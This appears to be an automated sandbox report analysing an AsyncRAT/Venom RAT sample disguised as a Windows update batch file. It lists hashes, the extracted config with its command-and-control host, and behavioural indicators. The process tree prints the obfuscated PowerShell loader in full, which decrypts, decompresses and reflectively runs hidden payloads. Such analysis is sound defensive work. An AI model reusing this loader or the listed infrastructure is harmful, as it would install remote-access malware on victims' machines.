asyncrat | b471f3f22ac4c66fcf7419df31431552ce8f5ac8222b1398e0d1016824e95dcf

Analysis

max time kernel
149s
max time network
158s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
19-04-2024 07:49

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General

Target

windows_update/windows.cmd
Size

109KB
MD5

fb0037160a00b86b8418ca6efedbafdb
SHA1

50cab1c16ab95af09fab1b3dbc8b0ee9960bce2e
SHA256

15378788a250cc88796c95c360aea5f0fabd7ff540b68974c930e9907fde7810
SHA512

07362a7b1d665477504cc177f1e208ccb8242a40b3aae6c213527a2baf04ba444584097dad034ffe3fc8eeb176d02125f99f23041840e66ed1fb990b7655e654
SSDEEP

3072:JpGKToitW8Jc86cKdN18shPU54CEd3gO8mjxuWrMz:TTVtWWv6c+N18shH+OxfrMz

Score

10^/10

asyncrat venom clients rat

Malware Config

Extracted

Family

asyncrat

Version

5.0.5

Botnet

Venom Clients

kdfsv.duckdns.org:8890

Mutex

Venom_RAT_HVNC_Mutex_Venom RAT_HVNC

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral24/memory/3676-34-0x000001C498300000-0x000001C498316000-memory.dmp	family_asyncrat

Blocklisted process makes network request 20 IoCs

Processes:

powershell.exe

flow	pid	process
30	3676	powershell.exe
31	3676	powershell.exe
32	3676	powershell.exe
33	3676	powershell.exe
47	3676	powershell.exe
48	3676	powershell.exe
49	3676	powershell.exe
50	3676	powershell.exe
55	3676	powershell.exe
57	3676	powershell.exe
59	3676	powershell.exe
60	3676	powershell.exe
68	3676	powershell.exe
69	3676	powershell.exe
70	3676	powershell.exe
71	3676	powershell.exe
72	3676	powershell.exe
73	3676	powershell.exe
74	3676	powershell.exe
79	3676	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

3676 powershell.exe
3676 powershell.exe
3292 powershell.exe
3292 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 3676 powershell.exe
Token: SeDebugPrivilege 3292 powershell.exe

pid	process
3676	powershell.exe
3676	powershell.exe
3292	powershell.exe
3292	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3676	powershell.exe
Token: SeDebugPrivilege	3292	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

cmd.execmd.exepowershell.exe

description	pid	process	target process
PID 852 wrote to memory of 1484	852	cmd.exe	cmd.exe
PID 852 wrote to memory of 1484	852	cmd.exe	cmd.exe
PID 852 wrote to memory of 452	852	cmd.exe	cmd.exe
PID 852 wrote to memory of 452	852	cmd.exe	cmd.exe
PID 452 wrote to memory of 4440	452	cmd.exe	cmd.exe
PID 452 wrote to memory of 4440	452	cmd.exe	cmd.exe
PID 452 wrote to memory of 4312	452	cmd.exe	cmd.exe
PID 452 wrote to memory of 4312	452	cmd.exe	cmd.exe
PID 452 wrote to memory of 3676	452	cmd.exe	powershell.exe
PID 452 wrote to memory of 3676	452	cmd.exe	powershell.exe
PID 3676 wrote to memory of 3292	3676	powershell.exe	powershell.exe
PID 3676 wrote to memory of 3292	3676	powershell.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows_update\windows.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:852

C:\Windows\system32\cmd.exe
cmd /c \"set __=^&rem\
2⤵
PID:1484

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\windows_update\windows.cmd
2⤵
- Suspicious use of WriteProcessMemory
PID:452

C:\Windows\system32\cmd.exe
cmd /c \"set __=^&rem\
3⤵
PID:4440

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\windows_update\windows.cmd';$GZdQ='InnxIivnxIionxIikenxIi'.Replace('nxIi', ''),'MafFZUifFZUnMfFZUofFZUdulfFZUefFZU'.Replace('fFZU', ''),'RBxvFeaBxvFdLBxvFiBxvFneBxvFsBxvF'.Replace('BxvF', ''),'CryZmpeatyZmpeDyZmpeyZmpcryZmpypyZmptoyZmpryZmp'.Replace('yZmp', ''),'GeCwGCtCCwGCuCwGCrrCwGCenCwGCtCwGCPrCwGCoceCwGCssCwGC'.Replace('CwGC', ''),'ENPQHntNPQHryNPQHPoNPQHintNPQH'.Replace('NPQH', ''),'SZRwRpliZRwRtZRwR'.Replace('ZRwR', ''),'LoTzLuadTzLu'.Replace('TzLu', ''),'DeczTyPompzTyPreszTyPszTyP'.Replace('zTyP', ''),'CofgggpyfgggTofggg'.Replace('fggg', ''),'TrRwWianRwWisfoRwWirRwWimRwWiFiRwWinaRwWilBRwWiloRwWickRwWi'.Replace('RwWi', ''),'ChxtFnanxtFngextFnExxtFntenxtFnsxtFnioxtFnnxtFn'.Replace('xtFn', ''),'FrowqBNmwqBNBwqBNasewqBN64wqBNStrwqBNinwqBNgwqBN'.Replace('wqBN', ''),'ElMUHUeMUHUmMUHUentMUHUAtMUHU'.Replace('MUHU', '');powershell -w hidden;function vJfVF($ktYNE){$OYIYV=[System.Security.Cryptography.Aes]::Create();$OYIYV.Mode=[System.Security.Cryptography.CipherMode]::CBC;$OYIYV.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$OYIYV.Key=[System.Convert]::($GZdQ[12])('HessG9Sp8I98uzvuAQwIGoeAOpm2R4JZwqif+tn9mzM=');$OYIYV.IV=[System.Convert]::($GZdQ[12])('Sq8oY624DUi5D/0NV4f3lQ==');$NPmYK=$OYIYV.($GZdQ[3])();$clLIZ=$NPmYK.($GZdQ[10])($ktYNE,0,$ktYNE.Length);$NPmYK.Dispose();$OYIYV.Dispose();$clLIZ;}function JqmHs($ktYNE){$fhwpD=New-Object System.IO.MemoryStream(,$ktYNE);$yEEHb=New-Object System.IO.MemoryStream;$CPPWk=New-Object System.IO.Compression.GZipStream($fhwpD,[IO.Compression.CompressionMode]::($GZdQ[8]));$CPPWk.($GZdQ[9])($yEEHb);$CPPWk.Dispose();$fhwpD.Dispose();$yEEHb.Dispose();$yEEHb.ToArray();}$rlqXf=[System.IO.File]::($GZdQ[2])([Console]::Title);$bUDiU=JqmHs (vJfVF ([Convert]::($GZdQ[12])([System.Linq.Enumerable]::($GZdQ[13])($rlqXf, 5).Substring(2))));$hdfCS=JqmHs (vJfVF ([Convert]::($GZdQ[12])([System.Linq.Enumerable]::($GZdQ[13])($rlqXf, 6).Substring(2))));[System.Reflection.Assembly]::($GZdQ[7])([byte[]]$hdfCS).($GZdQ[5]).($GZdQ[0])($null,$null);[System.Reflection.Assembly]::($GZdQ[7])([byte[]]$bUDiU).($GZdQ[5]).($GZdQ[0])($null,$null); "
3⤵
PID:4312

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3676

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3292

Network

MITRE ATT&CK Matrix

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_orbceapg.1ev.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3292-25-0x00007FFD1C5D0000-0x00007FFD1D091000-memory.dmp

Filesize
10.8MB

Download
memory/3292-29-0x00007FFD1C5D0000-0x00007FFD1D091000-memory.dmp

Filesize
10.8MB

Download
memory/3292-26-0x0000028E360B0000-0x0000028E360C0000-memory.dmp

Filesize
64KB

Download
memory/3676-13-0x000001C4FDBC0000-0x000001C4FDBD0000-memory.dmp

Filesize
64KB

Download
memory/3676-32-0x00007FFD39950000-0x00007FFD39A0E000-memory.dmp

Filesize
760KB

Download
memory/3676-14-0x000001C500000000-0x000001C500044000-memory.dmp

Filesize
272KB

Download
memory/3676-15-0x000001C500050000-0x000001C5000C6000-memory.dmp

Filesize
472KB

Download
memory/3676-11-0x000001C4FDBC0000-0x000001C4FDBD0000-memory.dmp

Filesize
64KB

Download
memory/3676-12-0x000001C4FDBC0000-0x000001C4FDBD0000-memory.dmp

Filesize
64KB

Download
memory/3676-10-0x00007FFD1C5D0000-0x00007FFD1D091000-memory.dmp

Filesize
10.8MB

Download
memory/3676-30-0x000001C498020000-0x000001C498034000-memory.dmp

Filesize
80KB

Download
memory/3676-31-0x00007FFD3AA70000-0x00007FFD3AC65000-memory.dmp

Filesize
2.0MB

Download
memory/3676-0-0x000001C4FD590000-0x000001C4FD5B2000-memory.dmp

Filesize
136KB

Download
memory/3676-33-0x000001C4982F0000-0x000001C498300000-memory.dmp

Filesize
64KB

Download
memory/3676-34-0x000001C498300000-0x000001C498316000-memory.dmp

Filesize
88KB

Download
memory/3676-35-0x00007FFD3AA70000-0x00007FFD3AC65000-memory.dmp

Filesize
2.0MB

Download
memory/3676-37-0x00007FFD1C5D0000-0x00007FFD1D091000-memory.dmp

Filesize
10.8MB

Download
memory/3676-38-0x000001C4FDBC0000-0x000001C4FDBD0000-memory.dmp

Filesize
64KB

Download
memory/3676-39-0x000001C4FDBC0000-0x000001C4FDBD0000-memory.dmp

Filesize
64KB

Download
memory/3676-40-0x000001C4FDBC0000-0x000001C4FDBD0000-memory.dmp

Filesize
64KB

Download
memory/3676-41-0x00007FFD3AA70000-0x00007FFD3AC65000-memory.dmp

Filesize
2.0MB

Download